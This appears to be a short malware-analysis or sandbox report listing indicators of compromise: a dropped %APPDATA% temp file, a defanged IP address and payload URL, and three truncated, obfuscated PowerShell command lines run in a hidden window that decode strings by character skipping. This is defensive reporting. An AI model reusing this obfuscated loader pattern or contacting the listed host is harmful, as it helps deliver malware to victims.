Technical Information
- %APPDATA%\bit53ba.tmp
- %APPDATA%\bit53ba.tmp
- '10#.#0.68.110':80
- http://10#.#0.68.110/Slgts.hhk
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "Function Swimmings9 ([String]$Tortonian){$Leopa=$Tortonian.toCharArray();For($hjpasfilte=5; $hjpasfilte -lt $Leopa.count-1; $hjpasfilte+=(5+1)){$Vrvlehoved+=$Leopa[$hjpasfilte]};$Vrvlehoved;}$...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "Function Swimmings9 ([String]$Tortonian){$Leopa=$Tortonian.toCharArray();For($hjpasfilte=5; $hjpasfilte -lt $Leopa.count-1; $hjpasfilte+=(5+1)){$Vrvlehoved+=$Leopa[$hjpasfilte]};$Vrvlehoved;}$...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "Function Swimmings9 ([String]$Tortonian){$Leopa=$Tortonian.toCharArray();For($hjpasfilte=5; $hjpasfilte -lt $Leopa.count-1; $hjpasfilte+=(5+1)){$Vrvlehoved+=$Leopa[$hjpasfilte]};$Vrvlehoved;}$...